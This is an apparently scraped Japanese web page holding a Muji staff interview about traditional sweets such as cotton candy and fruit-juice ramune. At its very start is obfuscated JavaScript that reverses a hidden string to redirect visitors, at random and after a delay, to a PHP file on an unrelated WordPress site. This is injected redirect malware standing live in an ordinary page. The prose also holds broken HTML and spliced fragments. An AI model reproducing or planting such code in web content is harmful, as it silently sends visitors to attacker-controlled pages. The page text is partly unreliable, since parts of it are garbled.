$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tokyo/6034″>・第2回 伝統菓子 シリーズ

昔懐かしい「駄菓子」を安心素材で再現

実は、「わた菓子」も「ラムネ」も馴染みのあるお菓子だから、なんとなく味の想像がつく気がして、ついついいつも岩本ありがとうございます。昔だったら、学校の前に駄菓子屋さんがあったりしましたが、今の子どもたちはなかなか駄菓子を食べる機会がないので、駄菓子の味を残していきたい、昔食べていた懐かしい駄菓子の味を伝えたいという想いで、2006年に「優しい昔菓子」シリーズとしてスタートしました。

添加物など余計なものを極力使わないのがこだわりなので、(今回の「わた菓子」と「果汁入り ラムネミックス」には添加物は一切入っていません)小さいお子さんのいるご家庭の方でも、安心して食べていただけます。

“昔食べていた駄菓子”に留まらないおいしさだと思います。1商品ずつお話をお伺いできますか?

(食べながら…)もうすっごいフワッフワ! 口に入れるとあっという間に溶けちゃいました。

岩本これ、僕も個人的に一番好きな商品なんです。そして海外でも「わた菓子」はすごい人気で、特に香港は食品の売り上げが高い店なのですが、数あるお菓子商品のなかで1位なんですよ! 発売してもう8年近く経ちますが、売り場に出しているとあっという間になくなってしまうほど、いまだに人気は健在です。

ロングセラーなんですね! おいしさの秘密はなんでしょう?

岩本材料にざらめ糖しか使っていない、とってもシンプルなところですね。カラメルの香ばしい風味を残すため、香料なども加えていないんです。

この四角い形も食べやすくていいなと思いました。どうやって作っているのですか?

岩本大きい板状のわた菓子を作って、それを4個にカットしています。海外限定ですが、一枚(板状のまま)というのもあるんですよ。でも、個包装のほうが人気ですね。

岩本さんは「わた菓子」のどんなところが好きですか?

岩本(わた菓子が)すっごい伸びるところです! 四角く手で持てるサイズに個包装されているので、そのまま齧ってももちろんいいのですが、こうやってちぎると、糸を引いて伸びて、フワフワになるんです。まさに「コットン」みたいに。そして何より、一見地味なんですけど、何気にめちゃくちゃうまいんです(笑)。

このフワフワ感とシンプルで自然な甘さ、一度食べてみないと分からないですね! これまで固定概念で買わなかった自分を後悔します…。

フルーツの自然な香りと甘さが魅力!「果汁入り ラムネミックス」

このラムネも想像以上にジューシーで、香りもすごくいいですね。

岩本ストロベリー、パイン、レモン、グレープ、オレンジの5種類の天然の果汁を使って味付けをしています。袋を開けると、フワッといい香りが漂うと思います。 

いろんなサイズが入っているのもいいですね。

岩本楽しさを出すために、あえて、いろいろな形のラムネを入れています。包み紙のセロファンもカラフルな色味のものを使っていて。無印良品としては結構イレギュラーなカラーリングの商品ですね(笑)。